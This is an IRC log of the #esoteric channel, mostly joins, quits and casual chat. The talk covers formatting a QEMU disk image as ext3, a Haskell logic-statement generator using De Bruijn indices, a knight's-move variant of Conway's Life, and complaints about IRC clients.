:BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268469607 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268472762 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268474231 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268475673 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268478762 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268478906 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268479493 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268480177 0 :sebbu!~sebbu@ADijon-152-1-14-101.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268480272 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268480612 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268481980 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268483776 0 :cheater!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1268483800 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1268484058 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268484841 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268485254 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268486928 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268487762 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: Page closed < 1268487784 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268488166 0 :lifthrasiir!8eA6PQte@haje12.kaist.ac.kr JOIN :#esoteric < 1268488311 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268488346 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :If I have a raw Qemu disc image, how do I format an ext3 filesystem on it? < 1268488514 0 :lifthrasiir!unknown@unknown.invalid QUIT :Quit: leaving < 1268488527 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Well? < 1268488533 0 :lifthrasiir!GEaiGlw0@haje12.kaist.ac.kr JOIN :#esoteric < 1268488913 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ill < 1268489032 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268489182 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268489410 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268489484 0 :cheater2!~cheater@ip-80-226-21-16.vodafone-net.de JOIN :#esoteric < 1268490645 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268490709 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268491140 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Just mkfs.ext3 on it. < 1268491191 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It might need the -F flag if it refuses to operate on a normal file, though I seem to recall it asking about it instead. < 1268491199 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Yes, I noticed he is gone already.) < 1268491800 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's the environment variable restriction in cfunge's sandbox mode useful for? < 1268491840 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise and/or ehird, when either of you show up: the intelligence squared debate on the catholic church as a force for good was simply amazing < 1268492377 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268492647 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theres this thing called Intelligence Squared < 1268492665 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they held a debate last year on whether or not the catholic hcurch was a force for good in the world < 1268492684 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and they subsequently had a vote of the people who were present for the debate < 1268492702 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pre-debate, the numbers were like 1000 no, 700 yes, 300 dont know < 1268492706 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :after it was like 1750 no, 200 yes, 50 dont know < 1268492925 0 :alise!~95fee059@gateway/web/freenode/x-lvxgikuciiqtiysh JOIN :#esoteric < 1268492952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#alise, please. I do not want this to be logged. < 1268493029 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1268493031 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :daahafh < 1268493388 0 :alise_!~95fee059@gateway/web/freenode/x-egguysmgimtuqmqt JOIN :#esoteric < 1268493650 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268493980 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268494013 0 :alise!~95fee059@gateway/web/freenode/x-uykmcysttrftzukr JOIN :#esoteric < 1268494016 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :06:21:54 I wonder how small one can make a decent forth compiler in C < 1268494018 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.ioccc.org/1992/buzzard.2.design < 1268494077 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Compiler < 1268494139 0 :alise_!~95feda57@gateway/web/freenode/x-hrleiyrnmlrizhhb JOIN :#esoteric < 1268494288 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268494338 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o.o; < 1268494684 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268494825 0 :alise!~95fed94f@gateway/web/freenode/x-dmnmbbezhbbexwjc JOIN :#esoteric < 1268495095 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268495344 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268495730 0 :alise!~95fee1bd@gateway/web/freenode/x-fvgedxpwirwtqahy JOIN :#esoteric < 1268495770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION writes a program to generate true constructivist statements.
< 1268495770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Endlessly < 1268495773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Endlessly. < 1268495789 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268495797 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why not? < 1268495812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just a case of having a bunch of axioms and then substituting things for the variables in them. Endlessly. < 1268496202 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268496297 0 :fungot!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268496354 0 :alise!~95fee1bd@gateway/web/freenode/x-ieiwfwoquyoibxyu JOIN :#esoteric < 1268496873 0 :alise_!~95fed957@gateway/web/freenode/x-vqkqkunagmfvlpqv JOIN :#esoteric < 1268496884 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268496905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: plz relink < 1268496905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in msg < 1268496926 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268497015 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Please? < 1268497033 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268497045 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Por mi? < 1268497072 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Why not? < 1268497079 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because nothing was said < 1268497095 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :-_-' < 1268497096 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :There was -- in #alise2. < 1268497102 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :At the beginning. < 1268497110 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(In /msg only, please. I do not want it leaking) < 1268497147 0 :fungot!~fungot@momus.zem.fi JOIN :#esoteric < 1268497154 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :15:31 -!- alise [~95fee059@gateway/web/freenode/x-uykmcysttrftzukr] has quit [Ping timeout: 252 seconds] < 1268497158 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :15:31 < alise_> test < 1268497160 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :15:31 < fax> test < 1268497161 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :FFS. < 1268497164 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I mean what I told you at the start. < 1268497165 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268497170 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hello? < 1268497171 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In */msg only. Please.* < 1268497173 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you want me to show you what you told me? < 1268497190 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268497208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Yes. In /msg, in a private pastie. Please? < 1268497221 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why < 1268497239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So I can show it to someone else... < 1268497241 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Because this client doesn't log... < 1268497272 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*... < 1268497313 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268497340 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I thought about Conway's Life cellular automaton but I have idea for a variant, called KnightLife < 1268497343 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: In case your question is still relevant, just /sbin/mkfs.ext3 on it; at least my copy will ask about being sure to operate on non-block-device, but will do it after confirmation. < 1268497375 0 :sebbu!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268497390 0 :sebbu!~sebbu@ADijon-152-1-14-101.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268497422 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Fizzie: thanks. < 1268497453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :all (0 -> all (0 -> 1)); all all all ((0 -> (1 -> 2)) -> ((0 -> 1) -> (0 -> 2))); all all ((~0 -> ~1) -> (1 -> 0)) < 1268497497 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Turns out I am a bit too lazy even to implement modus ponens. :) < 1268497662 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268497843 0 :alise!~95fed95b@gateway/web/freenode/x-fjylwgioskzbwcys JOIN :#esoteric < 1268498028 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268498049 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ffff I hate trivial programming bookkeeping < 1268498064 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I hate how I don't make much sense < 1268498071 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :even when I try really hard to < 1268498110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like consider < 1268498113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :subst :: [(Integer,Statement)] -> Statement -> Statement < 1268498114 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1268498118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I do bookkeeping in the first argument but you also specify what to subst in there < 1268498128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so when I come across a universal quantification < 1268498154 0 :alise_!~95fed95b@gateway/web/freenode/x-sjtxrewpryjjtiby JOIN :#esoteric < 1268498157 0 :Asztal!~asztal@host86-155-78-33.range86-155.btcentralplus.com JOIN :#esoteric < 1268498162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :FUCK < 1268498164 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :THIS < 1268498166 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :FUCKING < 1268498167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :CONNECTION < 1268498169 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :until it's fixed i'm not talking < 1268498172 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: so, what does KnightLife do? < 1268498262 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It wouldn't be Life with knightships added, would it? < 1268498280 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That would be cute. < 1268498296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sdgjdfigjfdsoigx < 1268498301 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rpghghrounprghounyphrguorpgh < 1268498311 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :phonographphonographphonograph < 1268498385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :safkaspofksad < 1268498385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :asfd < 1268498385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :asl < 1268498385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :das < 1268498385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dasd < 1268498387 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :a\sdl < 1268498389 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268498390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :f < 1268498390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sfdskf < 1268498390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[sdf < 1268498402 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268498508 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I thought it is obvious, isn't it? If not, I will explain < 1268498558 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Obvious from the name? < 1268498573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :all (42 -> all (42 -> 1)) SAME FUCKING PROBLEM >_< < 1268498575 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I hate coding < 1268498576 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hmm interesting < 1268498584 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe it's a little bit obvious, but it's not very obvious. < 1268498590 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: I hate programming too! < 1268498594 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theres a subset of non-CF languages that have linear parse time < 1268498594 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes, a little bit. < 1268498596 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hm hm! < 1268498614 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and their conveniently representable in compact regex-like notation! < 1268498615 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Basically the 8 surrounding cells are the knight's move cells instead of the king's move cells < 1268498616 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hm hm! < 1268498618 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :faxoh but I love programming < 1268498618 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :proper programming < 1268498624 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not this fuking bookkeeping shit < 1268498625 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :with five bbillion variables < 1268498629 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also fuck you chrome < 1268498633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :show me the input field < 1268498636 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Now it's obvious, isn't it? < 1268498650 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bookkeeps alise_'s variables
< 1268498652 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;o ;o ;o < 1268498668 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :WOOT < 1268498673 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268498699 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yep, now it's obvious. < 1268498718 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268498726 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Same number of neighbors, but connected differently. Hmm. < 1268498784 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :asdfghj < 1268498821 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pafdounafpoonufadpoundfapounadpfuondfpa < 1268498828 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :seriously what is it with shitty languages that can't match patterns and keep vaariables easily < 1268498843 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i should be able to like.. modulo out that stuff to a separate block and write the rest uberpurely < 1268498846 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Pattern matching is hard!" < 1268498860 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: not that kind of pattern matching < 1268498870 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the kind of pattern matching that involves a recursive function to determine the OK-ness of a pattern < 1268498880 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and then dispatching on the structure you infer in it < 1268498917 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/868022.txt?key=mqvjqn84rgv75aalq9arq < 1268498922 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This function is 99% fucking fluff. < 1268498943 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Now write modus ponens :: Statement -> Statement -> (Maybe) Statement. :-) < 1268499010 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :test < 1268499022 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :test < 1268499038 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What is fax? < 1268499070 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :人間。 < 1268499070 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You cannot ask... what is fax. < 1268499071 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It is not a question. < 1268499073 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Instead, you mist ask.. < 1268499080 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why did I typo "mist" for "must"? < 1268499108 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then you will be enlightened. < 1268499108 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Who is fax? < 1268499117 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :alise_: so what is this language, and why must you use it? < 1268499138 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :BUT WHO IS PHAX?! < 1268499166 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: This is ... Haskell ... < 1268499178 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fax is the bastard child of Miss Piggy and Kermit the Frog. < 1268499187 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :THIS < 1268499190 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :IS < 1268499192 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HASKELL!!!!!!!!! < 1268499193 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ファクス君が此処に居る人です。 < 1268499208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :saoidjdoifjsdojdsf < 1268499212 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm I'm understanding you correctly, I'm slightly surprised that you're calling Haskell a shitty language that can't match patterns and keep variables easily. < 1268499214 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :THIS - IS - AN OUTDATED - MEEEEEEEEME < 1268499214 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bastard
< 1268499215 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I wish someone actually took u my challenge to write modusponens :P < 1268499216 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(fax is a person who is hear) < 1268499216 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/I'm/If/ < 1268499219 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*up < 1268499226 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :stop speaking japanese. < 1268499228 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: :) < 1268499229 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :s/hear/here/ < 1268499231 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: because I don't mean the trivial sense that haskell does < 1268499235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I mean generalised book keeping < 1268499239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/868022.txt?key=mqvjqn84rgv75aalq9arq < 1268499244 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :2/3 parameters are bookkeeping < 1268499246 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: 日本語を勉強する始めて。 < 1268499252 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the majoritry of the code. book keeping < 1268499254 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(start studying Japanese) < 1268499259 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if you try and code modus ponens inferrence using that, < 1268499265 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you get EVEN MORE book keeping! yay < 1268499358 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I think I'm turning Portuguese I think I'm turning Portuguese I really think so < 1268499405 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So just what is subst supposed to do? < 1268499425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Substitute. < 1268499450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If the language excelled at eliminating pointless crap like that it'd be obvious from the definition. < 1268499455 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Substitute what for what into what? < 1268499471 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Substitute for a given De Bruijn index into a logical statement. < 1268499475 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :programming languages don't exist < 1268499486 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :THERE IS ONLY ZUUL < 1268499492 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :fax has spoken. < 1268499525 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*XUL < 1268499532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :*XML < 1268499535 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(The XUL namespace file is one called there.is.only.xul; it says that. :)) < 1268499622 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Okay, I think I see what this is all about. < 1268499622 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268499788 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268499801 0 :alise!~95fed95b@gateway/web/freenode/x-wrypznxukeqkofpv JOIN :#esoteric < 1268499822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION installs xchat to avoid the shitty webchat client
< 1268499905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: If you do decide to be my slave, the expectation of mp is that `mp (Var n :-> q) p'` produces q with p substituted for Var n (note that if you hit an All, all existing variables are shifted one place, and 0 becomes the newly-quantified variable); `mp (Not p :-> q) (Not p')` does the same but with the obvious, and `mp ((p :-> r) :-> q) (p' :-> r')` check that p/p' and r/r' match and then does the same as the others. < 1268499920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I'm just saying that so it's clearer what I have to do. < 1268500144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ss < 1268500181 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise shut up < 1268500188 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :have you read I am not a number, I am a free variable < 1268500204 0 :alise_!~alise@genld-216-046.t-mobile.co.uk JOIN :#esoteric < 1268500264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know how De Bruijn indexes work, fax. < 1268500270 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I chose a bit of a shitty representation though. < 1268500275 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I know how your mom works < 1268500277 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"fax" < 1268500282 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268500283 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Who is fax < 1268500293 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I did not mean that. < 1268500301 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What do you mean, "'fax' what"? < 1268500308 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise shut up have you read it?? < 1268500322 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :How can I do both simultaneously? < 1268500328 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :JUST!!!! DO!!!!! < 1268500354 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Can someone with more kernel knowledge than me tell me if this is feasible: http://esoteric.voxelperfect.net/forum/kareha.pl/1266506523/1 < 1268500410 0 :indu!~indu@117.192.150.14 JOIN :#esoteric < 1268500430 0 :indu!unknown@unknown.invalid PART #esoteric :? < 1268500481 0 :alise__!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268500492 0 :alise__!unknown@unknown.invalid QUIT :Client Quit < 1268500536 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268500564 0 :MarcoAchur1!~usuario@200.71.243.5 JOIN :#esoteric < 1268500584 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :This is a gun: =>. And this is 5 episodes of Endless Eight. < 1268500656 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268500842 0 :alise!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268500881 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268500885 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mIRC users: how the fuck do you set the default font for all subdinwws? < 1268500891 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*subwindows < 1268500918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :got it < 1268500974 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why the fuck would you use mIRC? < 1268500978 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Sorry for the language < 1268501003 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a lot of idiots hate mIRC for seemingly no reason other than idiots use it. On Windows I have been unable to find a better client (because all others suck). < 1268501084 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268501109 0 :alise_!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268501122 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :...and then it inexplicably crashed < 1268501129 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, Silverex? < 1268501139 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No, mIRC. Or maybe I quit it... < 1268501143 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Windows is confusing. < 1268501183 0 :alise_!unknown@unknown.invalid QUIT :Client Quit < 1268501187 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I meant, what's wrong with Silverex? < 1268501190 0 :alise!unknown@unknown.invalid QUIT : < 1268501217 0 :alise!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268501227 0 :alise_!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268501234 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Figured out why. < 1268501242 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It was minimising to tray; bad idea w/ Win7. Didn't actually crash. < 1268501246 0 :alise!unknown@unknown.invalid QUIT :Client Quit < 1268501251 0 :alise_!unknown@unknown.invalid NICK :alise < 1268501261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So now my only question is how to make subwindows maximised by default. < 1268501302 0 :alise!unknown@unknown.invalid QUIT :Client Quit < 1268501332 0 :alise!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268501375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ftop. < 1268501449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hopefully a permanent client should make my IRC more reliable. < 1268501457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is there anything better than Pidgin yet for Windows IMing? < 1268501465 0 :MarcoAchur1!unknown@unknown.invalid PART #esoteric :? < 1268501496 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nekwhat's the apb < 1268501590 0 :alise!unknown@unknown.invalid 